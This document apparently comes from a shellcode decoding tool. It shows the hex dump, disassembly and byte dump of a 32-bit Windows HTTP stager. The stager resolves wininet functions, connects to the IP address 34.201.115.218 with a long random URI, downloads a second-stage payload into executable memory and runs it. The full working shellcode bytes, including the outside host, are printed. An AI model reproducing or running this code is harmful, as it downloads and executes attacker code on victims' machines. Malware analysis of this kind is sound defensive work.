Decoded

Hex dump: fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 31 db 53 53 53 53 53 68 3a 56 79 a7 ff d5 53 53 6a 03 53 53 68 fb 20 00 00 e8 27 01 00 00 2f 37 7a 4b 50 70 58 6b 6b 6a 35 6a 70 44 2d 67 4f 73 7a 38 70 42 51 4a 47 4e 39 69 43 79 66 74 5f 54 43 6c 30 61 65 75 33 49 61 75 50 49 70 6b 67 47 69 48 4f 4d 57 6a 47 66 48 4c 4a 54 6a 71 72 6c 73 30 61 36 65 53 66 49 36 77 52 44 31 77 37 74 36 75 45 6c 4b 48 42 55 68 64 36 2d 4a 31 30 39 68 58 48 75 62 55 72 33 33 37 69 71 75 35 41 62 72 50 6f 65 48 53 79 67 2d 64 61 79 6d 34 67 71 77 52 50 51 75 71 6f 4c 6f 4c 57 68 52 46 55 57 70 35 34 61 7a 00 50 68 57 89 9f c6 ff d5 89 c6 53 68 00 32 e0 84 53 53 53 57 53 56 68 eb 55 2e 3b ff d5 96 6a 0a 5f 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 53 53 53 53 56 68 2d 06 18 7b ff d5 85 c0 75 14 68 88 13 00 00 68 44 f0 35 e0 ff d5 4f 75 cd e8 4b 00 00 00 6a 40 68 00 10 00 00 68 00 00 40 00 53 68 58 a4 53 e5 ff d5 93 53 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 cf 8b 07 01 c3 85 c0 75 e5 58 c3 5f e8 6b ff ff ff 33 34 2e 32 30 31 2e 31 31 35 2e 32 31 38 00 bb f0 b5 a2 56 6a 00 53 ff d5
0x00000000 fc               cld
0x00000001 e882000000       call 0x00000088
0x00000006 60               pushad
0x00000007 89e5             mov ebp,esp
0x00000009 31c0             xor eax,eax
0x0000000b 648b5030         fs: mov edx,dword [eax + 48]
0x0000000f 8b520c           mov edx,dword [edx + 12]
0x00000012 8b5214           mov edx,dword [edx + 20]
0x00000015 8b7228           mov esi,dword [edx + 40]
0x00000018 0fb74a26         movzx ecx,word [edx + 38]
0x0000001c 31ff             xor edi,edi
0x0000001e ac               lodsb
0x0000001f 3c61             cmp al,97
0x00000021 7c02             jl 0x00000025
0x00000023 2c20             sub al,32
0x00000025 c1cf0d           ror edi,13
0x00000028 01c7             add edi,eax
0x0000002a e2f2             loop 0x0000001e
0x0000002c 52               push edx
0x0000002d 57               push edi
0x0000002e 8b5210           mov edx,dword [edx + 16]
0x00000031 8b4a3c           mov ecx,dword [edx + 60]
0x00000034 8b4c1178         mov ecx,dword [ecx + edx + 120]
0x00000038 e348             jecxz 0x00000082
0x0000003a 01d1             add ecx,edx
0x0000003c 51               push ecx
0x0000003d 8b5920           mov ebx,dword [ecx + 32]
0x00000040 01d3             add ebx,edx
0x00000042 8b4918           mov ecx,dword [ecx + 24]
0x00000045 e33a             jecxz 0x00000081
0x00000047 49               dec ecx
0x00000048 8b348b           mov esi,dword [ebx + ecx * 4]
0x0000004b 01d6             add esi,edx
0x0000004d 31ff             xor edi,edi
0x0000004f ac               lodsb
0x00000050 c1cf0d           ror edi,13
0x00000053 01c7             add edi,eax
0x00000055 38e0             cmp al,ah
0x00000057 75f6             jnz 0x0000004f
0x00000059 037df8           add edi,dword [ebp - 8]
0x0000005c 3b7d24           cmp edi,dword [ebp + 36]
0x0000005f 75e4             jnz 0x00000045
0x00000061 58               pop eax
0x00000062 8b5824           mov ebx,dword [eax + 36]
0x00000065 01d3             add ebx,edx
0x00000067 668b0c4b         mov cx,word [ebx + ecx * 2]
0x0000006b 8b581c           mov ebx,dword [eax + 28]
0x0000006e 01d3             add ebx,edx
0x00000070 8b048b           mov eax,dword [ebx + ecx * 4]
0x00000073 01d0             add eax,edx
0x00000075 89442424         mov dword [esp + 36],eax
0x00000079 5b               pop ebx
0x0000007a 5b               pop ebx
0x0000007b 61               popad
0x0000007c 59               pop ecx
0x0000007d 5a               pop edx
0x0000007e 51               push ecx
0x0000007f ffe0             jmp eax
0x00000081 5f               pop edi
0x00000082 5f               pop edi
0x00000083 5a               pop edx
0x00000084 8b12             mov edx,dword [edx]
0x00000086 eb8d             jmp 0x00000015
0x00000088 5d               pop ebp
0x00000089 686e657400       push 0x0074656e--> 'ten'
0x0000008e 6877696e69       push 0x696e6977--> 'iniw'
0x00000093 54               push esp
0x00000094 684c772607       push 0x0726774c--> '&wL'
0x00000099 ffd5             call ebp --> kernel32.dll!LoadLibraryA
0x0000009b 31db             xor ebx,ebx
0x0000009d 53               push ebx
0x0000009e 53               push ebx
0x0000009f 53               push ebx
0x000000a0 53               push ebx
0x000000a1 53               push ebx
0x000000a2 683a5679a7       push 0xa779563a--> 'yV:'
0x000000a7 ffd5             call ebp --> wininet.dll!InternetOpenA
0x000000a9 53               push ebx
0x000000aa 53               push ebx
0x000000ab 6a03             push 3
0x000000ad 53               push ebx
0x000000ae 53               push ebx
0x000000af 68fb200000       push 0x000020fb
0x000000b4 e827010000       call 0x000001e0
0x000000b9 2f               das
0x000000ba 37               aaa
0x000000bb 7a4b             jpe 0x00000108
0x000000bd 50               push eax
0x000000be 7058             jo 0x00000118
0x000000c0 6b6b6a35         imul ebp,dword [ebx + 106],53
0x000000c4 6a70             push 112
0x000000c6 44               inc esp
0x000000c7 2d674f737a       sub eax,0x7a734f67
0x000000cc 387042           cmp byte [eax + 66],dh
0x000000cf 51               push ecx
0x000000d0 4a               dec edx
0x000000d1 47               inc edi
0x000000d2 4e               dec esi
0x000000d3 396943           cmp dword [ecx + 67],ebp
0x000000d6 7966             jns 0x0000013e
0x000000d8 745f             jz 0x00000139
0x000000da 54               push esp
0x000000db 43               inc ebx
0x000000dc 6c               insb byte [esi],edx
0x000000dd 306165           xor byte [ecx + 101],ah
0x000000e0 7533             jnz 0x00000115
0x000000e2 49               dec ecx
0x000000e3 61               popad
0x000000e4 7550             jnz 0x00000136
0x000000e6 49               dec ecx
0x000000e7 706b             jo 0x00000154
0x000000e9 6747             inc edi
0x000000eb 69484f4d576a47   imul ecx,dword [eax + 79],0x476a574d
0x000000f2 6648             dec eax
0x000000f4 4c               dec esp
0x000000f5 4a               dec edx
0x000000f6 54               push esp
0x000000f7 6a71             push 113
0x000000f9 726c             jc 0x00000167
0x000000fb 7330             jnc 0x0000012d
0x000000fd 61               popad
0x000000fe 366553           ssgs: push ebx
0x00000101 6649             dec ecx
0x00000103 367752           ss: ja 0x00000158
0x00000106 44               inc esp
0x00000107 317737           xor dword [edi + 55],esi
0x0000010a 7436             jz 0x00000142
0x0000010c 7545             jnz 0x00000153
0x0000010e 6c               insb byte [esi],edx
0x0000010f 4b               dec ebx
0x00000110 48               dec eax
0x00000111 42               inc edx
0x00000112 55               push ebp
0x00000113 6864362d4a       push 0x4a2d3664--> 'J-6d'
0x00000118 3130             xor dword [eax],esi
0x0000011a 396858           cmp dword [eax + 88],ebp
0x0000011d 48               dec eax
0x0000011e 7562             jnz 0x00000182
0x00000120 55               push ebp
0x00000121 7233             jc 0x00000156
0x00000123 3337             xor esi,dword [edi]
0x00000125 69717535416272   imul esi,dword [ecx + 117],0x72624135
0x0000012c 50               push eax
0x0000012d 6f               outsd edx,dword [esi]
0x0000012e 6548             gs: dec eax
0x00000130 53               push ebx
0x00000131 7967             jns 0x0000019a
0x00000133 2d6461796d       sub eax,0x6d796164
0x00000138 3467             xor al,103
0x0000013a 7177             jno 0x000001b3
0x0000013c 52               push edx
0x0000013d 50               push eax
0x0000013e 51               push ecx
0x0000013f 7571             jnz 0x000001b2
0x00000141 6f               outsd edx,dword [esi]
0x00000142 4c               dec esp
0x00000143 6f               outsd edx,dword [esi]
0x00000144 4c               dec esp
0x00000145 57               push edi
0x00000146 6852465557       push 0x57554652--> 'WUFR'
0x0000014b 7035             jo 0x00000182
0x0000014d 3461             xor al,97
0x0000014f 7a00             jpe 0x00000151
0x00000151 50               push eax
0x00000152 6857899fc6       push 0xc69f8957
0x00000157 ffd5             call ebp --> wininet.dll!InternetConnectA
0x00000159 89c6             mov esi,eax
0x0000015b 53               push ebx
0x0000015c 680032e084       push 0x84e03200
0x00000161 53               push ebx
0x00000162 53               push ebx
0x00000163 53               push ebx
0x00000164 57               push edi
0x00000165 53               push ebx
0x00000166 56               push esi
0x00000167 68eb552e3b       push 0x3b2e55eb--> ';.U'
0x0000016c ffd5             call ebp --> wininet.dll!HttpOpenRequestA
0x0000016e 96               xchg eax,esi
0x0000016f 6a0a             push 10
0x00000171 5f               pop edi
0x00000172 6880330000       push 0x00003380
0x00000177 89e0             mov eax,esp
0x00000179 6a04             push 4
0x0000017b 50               push eax
0x0000017c 6a1f             push 31
0x0000017e 56               push esi
0x0000017f 6875469e86       push 0x869e4675--> 'Fu'
0x00000184 ffd5             call ebp --> wininet.dll!InternetSetOptionA
0x00000186 53               push ebx
0x00000187 53               push ebx
0x00000188 53               push ebx
0x00000189 53               push ebx
0x0000018a 56               push esi
0x0000018b 682d06187b       push 0x7b18062d--> '{-'
0x00000190 ffd5             call ebp --> wininet.dll!HttpSendRequestA
0x00000192 85c0             test eax,eax
0x00000194 7514             jnz 0x000001aa
0x00000196 6888130000       push 0x00001388
0x0000019b 6844f035e0       push 0xe035f044--> '5D'
0x000001a0 ffd5             call ebp --> kernel32.dll!Sleep
0x000001a2 4f               dec edi
0x000001a3 75cd             jnz 0x00000172
0x000001a5 e84b000000       call 0x000001f5
0x000001aa 6a40             push 64
0x000001ac 6800100000       push 4096
0x000001b1 6800004000       push 0x00400000
0x000001b6 53               push ebx
0x000001b7 6858a453e5       push 0xe553a458--> 'SX'
0x000001bc ffd5             call ebp --> kernel32.dll!VirtualAlloc
0x000001be 93               xchg eax,ebx
0x000001bf 53               push ebx
0x000001c0 53               push ebx
0x000001c1 89e7             mov edi,esp
0x000001c3 57               push edi
0x000001c4 6800200000       push 0x00002000
0x000001c9 53               push ebx
0x000001ca 56               push esi
0x000001cb 68129689e2       push 0xe2899612
0x000001d0 ffd5             call ebp --> wininet.dll!InternetReadFile
0x000001d2 85c0             test eax,eax
0x000001d4 74cf             jz 0x000001a5
0x000001d6 8b07             mov eax,dword [edi]
0x000001d8 01c3             add ebx,eax
0x000001da 85c0             test eax,eax
0x000001dc 75e5             jnz 0x000001c3
0x000001de 58               pop eax
0x000001df c3               ret
0x000001e0 5f               pop edi
0x000001e1 e86bffffff       call 0x00000151
0x000001e6 33342e           xor esi,dword [esi + ebp]
0x000001e9 3230             xor dh,byte [eax]
0x000001eb 312e             xor dword [esi],ebp
0x000001ed 3131             xor dword [ecx],esi
0x000001ef 352e323138       xor eax,0x3831322e
0x000001f4 00bbf0b5a256     add byte [ebx + 1453503984],bh
0x000001fa 6a00             push 0
0x000001fc 53               push ebx
0x000001fd ffd5             call ebp

Byte Dump:
......`..1.d.P0.R.R..r(..J&1..<a|.,......RW.R..J<.L.x.H..Q.Y...I..:I.4...1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..__Z....]hnet.hwiniThLw&...1.SSSSSh:Vy...SSj.SSh....'.../7zKPpXkkj5jpD-gOsz8pBQJGN9iCyft_TCl0aeu3IauPIpkgGiHOMWjGfHLJTjqrls0a6eSfI6wRD1w7t6uElKHBUhd6-J109hXHubUr337iqu5AbrPoeHSyg-daym4gqwRPQuqoLoLWhRFUWp54az.PhW.......Sh.2..SSSWSVh.U.;...j_h.3....j.Pj.VhuF....SSSSVh-..{[email protected][email protected]._.k...34.201.115.218.....Vj.S..